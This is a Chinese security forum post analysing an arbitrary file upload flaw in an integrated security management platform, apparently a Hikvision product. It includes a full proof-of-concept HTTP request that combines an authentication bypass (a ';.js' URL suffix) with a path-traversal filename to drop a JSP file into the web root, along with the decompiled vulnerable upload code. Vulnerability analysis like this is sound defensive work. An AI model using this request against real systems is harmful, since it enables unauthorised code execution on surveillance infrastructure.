安全矩阵

 找回密码
 立即注册
搜索
查看: 925|回复: 0

某综合安防系统-任意文件上传漏洞分析

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-12-7 18:07:06 | 显示全部楼层 |阅读模式

0x00 简介
综合安防管理平台管理平台基于 " 统一软件技术架构" 理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度
0x01 漏洞概述
该产品存在任意文件上传历史漏洞
0x02 影响版本
历史版本
0x03 漏洞复现
先上Poc
  1. POST /center/api/files;.js HTTP/1.1
  2. User-Agent: PostmanRuntime/7.29.2
  3. Accept: */*
  4. Postman-Token: 1ac225cc-bdbe-4176-b806-a9a7c796ee33
  5. Host: xxxxxxxxxxxxxx
  6. Connection: close
  7. Content-Type: multipart/form-data; boundary=--------------------------180188939909122941133151
  8. Cookie: JSESSIONID=A0A01DAF36544051C724ABCCB20A0EA6
  9. Content-Length: 286

  10. ----------------------------180188939909122941133151
  11. Content-Disposition: form-data; name="file"; filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/hello.jsp"
  12. Content-Type: application/octet-stream

  13. hello
  14. ----------------------------180188939909122941133151--
复制代码


0x04 漏洞分析
CAS配置文件如下:/bin/tomcat/apache-tomcat/webapps/center/WEB-INF/classes/cas-client.properties,对.eot,.woff,.ttf,.svg,.gif,.css,.js,.json等文件不进行鉴权
  1. cas.ignore.pattern=/,*.html,/login,*.eot,*.woff,*.ttf,*.svg,*.gif,*.css,*.js,*.json,/casLogin,*.ico,*.icon,*.png,*.map,/api/meta/qrcode,/api/session,/api/session/captcha,/api/locales,/api/meta,/api/menus,/api/users/*/password,/api/fileUpload/*,/center/api/fileUpload/*,/api/clientInstall/LatestVersion,/api/clientResourceInstall/LatestVersion,/center/api/clientInstall/LatestVersion,/center/api/clientResourceInstall/LatestVersion,/api/machines/*/steps,/api/verifyCodeImage,/api/encryptParam,/api/webLogin,/api/modifyPassword,/api/negotiation,/api/webMachines,/api/webDelMachines,/api/webAlerts,/api/webResources,/api/webMenus,/api/settings/firewalls/*,/api/installMachineList/*,/api/clientInstall/*,/api/task/*,/api/bic/*,/api/installation/*,/api/external/*,/api/logsOnline/*
复制代码

文件上传函数,没有对filename进行过滤
/bin/tomcat/apache-tomcat/webapps/center/WEB-INF/classes/com/hikvision/center/module/faq/controller/KnowledgeController.class
  1. @RequestMapping(
  2.     value = {"/files"},
  3.     method = {RequestMethod.POST}
  4. )
  5. public Object uploadFile(@RequestParam(value = "file",required = false) MultipartFile file, HttpServletResponse response, @RequestParam(value = "upload",required = false) MultipartFile upload, HttpServletRequest request) throws IOException {
  6.     if (request.getCharacterEncoding() == null) {
  7.         request.setCharacterEncoding("UTF-8");
  8.     }

  9.     String CKEditor = request.getParameter("CKEditor");
  10.     ResultData responseBean = new ResultData();
  11.     String result;
  12.     if (file == null) {
  13.         if (upload == null) {
  14.             if (StringUtils.isBlank(CKEditor)) {
  15.                 responseBean.setCode("0x0011775d");
  16.                 responseBean.setMsg(LocaleTextUtil.getErrorText(responseBean.getCode()));
  17.                 return responseBean;
  18.             }

  19.             result = "<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('0', '/download1/xxx', '?');</script>";
  20.             String languageType = LocaleTextUtil.getLocalLanguage();
  21.             if ("zh_CN".equals(languageType)) {
  22.                 result = new String(result.replace("?", "请选择文件").getBytes("UTF-8"), "ISO-8859-1");
  23.             } else {
  24.                 result = new String(result.replace("?", "choose file please").getBytes("UTF-8"), "ISO-8859-1");
  25.             }

  26.             response.getOutputStream().print(result);
  27.             return null;
  28.         }

  29.         file = upload;
  30.     }

  31.     result = null;
  32.     User user = BusLogUtil.getUser();
  33.     if (user != null) {
  34.         result = user.getUserId();
  35.     }

  36.     String filename = file.getOriginalFilename();
  37.     this.logger.debug(HikLog.toLog(HikLog.message("uploadFile", new String[]{"username", "filename", "CKEditor"})), new Object[]{result, filename, CKEditor});
  38.     JSONObject json = null;

  39.     try {
  40.         json = this.knowledgeService.uploadFile(file);
  41.         this.operationRecordService.sendLogToCenter("uploadFile", true, "file", "", filename, "", "", "knowledgeBase", "", 0, "", "");
  42.         if (StringUtils.isBlank(CKEditor)) {
  43.             responseBean.setCode("0");
  44.             responseBean.setMsg((String)null);
  45.             responseBean.setData(json);
  46.             return responseBean;
  47.         } else {
  48.             String result = "<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('0', '?', '');</script>";
  49.             result = result.replace("?", new String(json.getString("link").getBytes("UTF-8"), "ISO-8859-1"));
  50.             response.setContentType("text/html;charset=utf-8");
  51.             response.getOutputStream().print(result);
  52.             return null;
  53.         }
  54.     } catch (Exception var14) {
  55.         String code = "";
  56.         if (var14 instanceof ProgramException) {
  57.             code = ((ProgramException)var14).getCode();
  58.                      } else {
  59.                      code = "0x00137759";
  60.                      }

  61.                      this.logger.error(HikLog.toLog(HikLog.message("upload file error", new String[]{"errorCode", "error"})), code, var14);
  62.                      this.operationRecordService.sendLogToCenter("uploadFile", false, "file", "", filename, "", "", "knowledgeBase", "", 1, "", code);
  63.                      if (StringUtils.isBlank(CKEditor)) {
  64.                      responseBean.setCode("0x00137759");
  65.                      responseBean.setMsg(LocaleTextUtil.getErrorText(responseBean.getCode()));
  66.                      responseBean.setData(json);
  67.                      return responseBean;
  68.                      } else {
  69.                      String result = "<script type="text/javascript">window.parent.CKEDITOR.tools.callFunction('0', '/download1/xxx', '?');</script>";
  70.                      result = result.replace("?", LocaleTextUtil.getErrorText("0x00137759"));
  71.                      response.getOutputStream().print(result);
  72.                      return null;
  73.                      }
  74.                      }
  75.                      }
复制代码

KnowledgeServiceImpl#uploadFile,直接拼接文件名filename
  1. public JSONObject uploadFile(MultipartFile file) {
  2.         String uuid = UUID.randomUUID().toString();
  3.         String filename = null;

  4.         try {
  5.             filename = new String(file.getOriginalFilename().getBytes(System.getProperty("sun.jnu.encoding")), "UTF-8");
  6.         } catch (UnsupportedEncodingException var9) {
  7.             filename = file.getOriginalFilename();
  8.         }

  9.         String resourcePath = AddressUtil.getResourcePath() + File.separator + "resource" + File.separator + uuid;
  10.         File resourceFile = new File(resourcePath);
  11.         if (!resourceFile.exists()) {
  12.             resourceFile.mkdirs();
  13.         }

  14.         JSONObject json = new JSONObject();

  15.         try {
  16.             file.transferTo(new File(resourcePath + File.separator + filename));
  17.         } catch (Exception var8) {
  18.             this.logger.error(HikLog.toLog(HikLog.message("upload file fail", new String[]{"e"})), var8);
  19.             throw new ProgramException("0x00137759");
  20.         }

  21.         json.put("id", uuid);
  22.         json.put("filename", filename);
  23.         String link = AddressUtil.getFAQResourceUrl() + "/resource/" + uuid + "/" + filename;
  24.         link = link.replace("\", "/");
  25.         json.put("link", link);
  26.         return json;
复制代码
我们知道,Spring 在处理url时,removeSemicolonContentInternal方法,主要的功能是

  • 移除所有的分号
  • 移除分号后面直到下一个斜杠”/”之间的所有字符
拼接的/center/api/files;.js可以绕过鉴权,同时经过removeSemicolonContentInternal方法 ==》得到/center/api/files,分发到正确的路由,导致文件上传
0x05 修复方式
联系官方打补丁
来源:https://xz.aliyun.com/ 感谢【KimJun


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:41 , Processed in 0.012944 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表